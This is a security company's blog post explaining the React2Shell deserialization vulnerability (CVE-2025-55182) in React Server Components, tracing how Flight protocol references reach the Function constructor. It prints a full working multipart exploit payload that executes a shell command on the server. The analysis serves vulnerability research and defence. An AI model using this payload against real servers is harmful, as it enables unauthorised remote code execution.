Background

In our previous post, we provided the news about React2Shell: a critical vulnerability CVE-2025-55182 affecting React and Next.js that left the tech community buzzing, reminding some Log4shell vibes. At the time, we withheld all technical details in light of ongoing research and responsible disclosure practices.

But now, as a public POC is confirmed, let’s look into how a standard server request can be manipulated to achieve Remote Code Execution (RCE).

What’s surprising about this bug is how familiar it feels. We’ve seen many deserialization bugs and payloads, and whenever there’s a complex deserializer, there’s a difficult to pull off but impressive deserialization exploit. It’s why deserialization is one of the hardest problems in app exploitation, and where AI isn’t there yet.

All findings based on our own research and the work of Moritz Sanft and @maple3142. Kudos to the researcher Lachlan Davidson who found the vulnerability in the first place, and for the Meta & Vercel teams on handling this complex issue.

The Setup: React’s "Flight" Protocol

To understand the hack, you have to understand the language React speaks. React Server Components (RSC) introduced a new way for the server and client to talk using the "Flight" protocol.

Flight is created as a way for the two to swap values and invoke custom behaviour. When handling multipart form data, the server looks at each part as a chunk (more on chunks in a second). Chunks can contain plain values, and can also trigger more complex behaviour by sending special strings prefixed with a $, kind of like variable lookups. Some of its capabilities:

  • $1 : References the value found in chunk 1
  • $T2 : Lookup the temporary variable 2
  • $@3: Try to load the entirety of chunk number 3

And so on. All in all there are 32 such operators: 14 for typed arrays, 4 for readable streams, and 14 for encoding, 11 for encoding commonly used structures (like NaN, BigInt, Dates, undefined, and so on), and finally 3 for unique behaviour like @ . These 3 will be our main focus. All of this logic is contained within the parseModelString function.

These can be chained to create a (naive) payload like:

--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="0"

{"ref":"$1","special":"$undefined","date":"$D2024-01-01"}
--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="1"

{"nested":"data"}
--------------------------XBTlZ2MlphjQkOg9bNZUFV--

Which will create two chunks:

[
  // 0
  {
    date: new Date('2024-01-01T02:00:00+02:00'),
    ref: {
      nested: 'data'
    }
  },
  // 1
  {nested: 'data'}
]

This is a very classic serialization format, reminiscent of Pickle, PHP’s deserialization, and many other TLV (type-length-value) protocols. The reviveModel function, a key player in the vulnerability, is a recursive function in charge of the deserialization: Handling strings, arrays, and objects.

The parser uses a Chunk System to manage all this asynchronous data. It creates Chunk objects that track the status (pending, fulfilled) and the value of these data streams. Each chunk has:

function Chunk(status, value, reason, response) {
  this.status = status;    // "pending", "blocked", "fulfilled", "rejected", etc.
  this.value = value;      // The resolved value or pending listeners
  this.reason = reason;    // Chunk ID or error reason
  this._response = response; // Parent response object containing _formData, _chunks, _prefix
}

In the example above, both chunks will end up in the fulfilled state.

Time to dive deep into the code. It encodes a complex state machine, and as we all know, bugs love complexity.

Vulnerability Analysis

Revealing the cards up front, this is our vulnerable payload (with whitespace for clarity):

--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="0"

{
  "then":"$1:__proto__:then",
  "status":"resolved_model",
  "reason":-1,
  "value":"{\\"then\\":\\"$B1337\\"}",
  "_response":{
    "_prefix":"process.mainModule.require('child_process').execSync('id > /tmp/win');",
    "_formData": {
      "get":"$1:constructor:constructor"
    }
  }
}
--------------------------XBTlZ2MlphjQkOg9bNZUFV
Content-Disposition: form-data; name="1"

"$@0"
--------------------------XBTlZ2MlphjQkOg9bNZUFV--

Creating new functions: getOutlinedModel

The core vulnerability exists in the getOutlinedModel function which performs unconstrained property traversal based on user-controlled input:

function getOutlinedModel(response, reference, parentObject, key, map) {
  var id = parseInt((reference = reference.split(":"))[0], 16);
  switch (
    ("resolved_model" === (id = getChunk(response, id)).status &&
      initializeModelChunk(id),
    id.status)
  ) {
    case "fulfilled":
      for (
        key = 1, parentObject = id.value;
        key < reference.length;
        key++
      )
        parentObject = parentObject[reference[key]];  // VULNERABILITY: Unconstrained traversal
      return map(response, parentObject);
    // ...
  }
}

The reference string is split by : and each segment is used as a property accessor. For example:

  • "1:constructor:constructor" splits to ["1", "constructor", "constructor"]
  • Traverses: chunk1.value["constructor"]["constructor"]
  • Result: Function constructor

This post will contains multiple JavaScript nuances, this is the first. Values in javascript (special ones like null and undefined nonwithstanding) have a constructor: What created them and what gives them their functionality. For plain objects that’s Object, for numbers that’s Number . However, functions are also objects, created from the Function constructor. This is interesting because Function can be called at runtime to beget functions:

> var f = Function('return 1 + 1')
undefined
> f()
2

With a traversal, this looks like:

> var f = o.constructor.constructor('return 1 + 1')
undefined
> f()
2

Bad, but not enough to be vulnerable - we need something to reference the function, and a way to call it. Let’s dive further.

Achieving a function call: getChunk

The getChunk function retrieves chunks and calls methods on the response object:

function getChunk(response, id) {
  var chunks = response._chunks,
    chunk = chunks.get(id);
  return (
    chunk ||
      ((chunk =
        null !=
        (chunk = response._formData.get(response._prefix + id))  // Method call on user data!
          ? new Chunk("resolved_model", chunk, id, response)
          : response._closed
            ? new Chunk("rejected", null, response._closedReason, response)
            : createPendingChunk(response)),
        chunks.set(id, chunk)),
    chunk
  );
}

The critical line is:

response._formData.get(response._prefix + id)

If an attacker can control:

  1. response._formData.get : Replace with their own Function instance
  2. response._prefix: Set to malicious code string

Then this becomes:

Function("malicious_code" + id)

A lot of assumptions that we need to achieve.

Reference resolution chain

When parseModelString handles $ prefixed values with an unknown suffix, it calls getOutlinedModel mentioned above for unrecognized patterns:

// Default case for $ prefix - falls through to getOutlinedModel
return getOutlinedModel(
  response,
  (value1 = value1.slice(1)),  // Remove $ prefix
  obj,
  key,
  createModel,
);

This allows references like $1:constructor:constructor to trigger prototype traversal.

Circular Reference via $@

The $@ prefix retrieves a chunk by ID:

case "@":
  return getChunk(
    response,
    (obj = parseInt(value1.slice(2), 16)),
  );

A circular reference $@0 from chunk 1 back to chunk 0 provides an object base for prototype traversal.

Overwriting properties: reviveModel

When handling objects, the reviveModel recursively walks into every value, assigning the results back into the value:

function reviveModel(
  response: Response,
  parentObj: any,
  parentKey: string,
  value: JSONValue, // <-- We fully control this
  reference: void | string,
): any {
  if (typeof value === 'string') {
    // v-- parse strings for the deserialization format
    return parseModelString(response, parentObj, parentKey, value, reference);
  }
  if (typeof value === 'object' && value !== null) {
    // ...
    if (Array.isArray(value)) {
      // ... array handling
    } else { // <-- object handling
      for (const key in value) {
        if (hasOwnProperty.call(value, key)) {
          const childRef =
            reference !== undefined && key.indexOf(':') === -1
              ? reference + ':' + key
              : undefined;
          const newValue = reviveModel( // <-- recursive call
            response,
            value,
            key,
            value[key],
            childRef,
          );
          if (newValue !== undefined) {
            // v-- property write, *after* deserialization
            //     and expanding $ operators
            value[key] = newValue;
          } else {
            delete value[key];
          }
        }
      }
    }
  }
  return value;
}

The exploit

Now that we have everything in place, let’s combine them and execute some code!

Fake chunk

In the first chunk, we craft a malicious JSON object that mimics the internal structure of a Chunk. We inject fields that the internal parser uses, specifically _response, _prefix, and _formData.

We set the _prefix to our malicious code (e.g., a node command to open a shell) for the getChunk function to call.

Circular reference

We use the Flight protocol's reference syntax, "$@0", to create a circular reference, and for the deserializer to treat as a legitimate chunk. This tells the parser that chunk 1 is just a reference back to chunk 0. This allows us to traverse the object we created previously.

Malicious overwrite

Using the property write in reviveModel, we target the internal method response._formData.get. We craft a payload with the string "$1:constructor:constructor".

  • The parser looks at chunk 1 (which refers back to chunk 0).
  • It walks up the prototype chain: Object -> Function.
  • It replaces the internal get method with the JavaScript Function constructor.

Function call

In the second chunk, we use $@0 to reference the internal Chunk object we faked with the malicious _formData.get. Looking at the getChunk call again:

function getChunk(response: Response, id: number): SomeChunk<any> {
  const chunks = response._chunks;
  // A
  let chunk = chunks.get(id);
  if (!chunk) {
    // B
    const prefix = response._prefix;
    const key = prefix + id;
    // C
    const backingEntry = response._formData.get(key);
    // ...
  }
  return chunk;
}

We’ve polluted chunks.get(0) to our fake chunk in A, where:

  "response":{
    "_prefix":"process.mainModule.require('child_process').execSync('id > /tmp/win');",
    "_formData": {
      "get":"$1:constructor:constructor"
    }
  }

Using reviveModel, _prefix to perform an RCE, fetched in B. We’ve overwritten _formData.get with the Function constructor, which will be called with _prefix in C.

And there we have it. A highly interesting and complex deserialization chain.

The takeaway

This is a very complex machine, and as mentioned, complexity begets bugs.

There is a lot of internal details this writeup did not cover - looking deeper into the state machine of chunks and how it’s even possible to reference the 2nd chunk from the 1st one without actually resolving its value, analyzing all the $ operators, how the chunk pollution is actually pulled off in detail, and much more.

This isn’t the first, the tenth, or the hundredth such vulnerability. We can say how dangerous it is to mix user data with internal state, we can post poetic about the dangers of deserialization, we can clamor for highly advanced static code analysis. But it doesn’t matter: It will happen again. Even with LLMs as reviewers, even with enough eyes all bugs are shallow, it’s a matter of time.

This was an application bug triggered at runtime. To mitigate the next one, we need tools that understand how applications behave at runtime. Contact Miggo to see how you can prepare.

We’re Here to Support You

If you identify indicators of compromise or are unable to confirm that your environment is secure, Miggo’s security response team is happy to assist you. We can help validate exposure, review logs, and provide guidance on next steps. You can reach us by booking time on this link for immediate assistance.

References

  1. React Flight Reply Server source for v19.0.0
  2. https://github.com/msanft/CVE-2025-55182
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>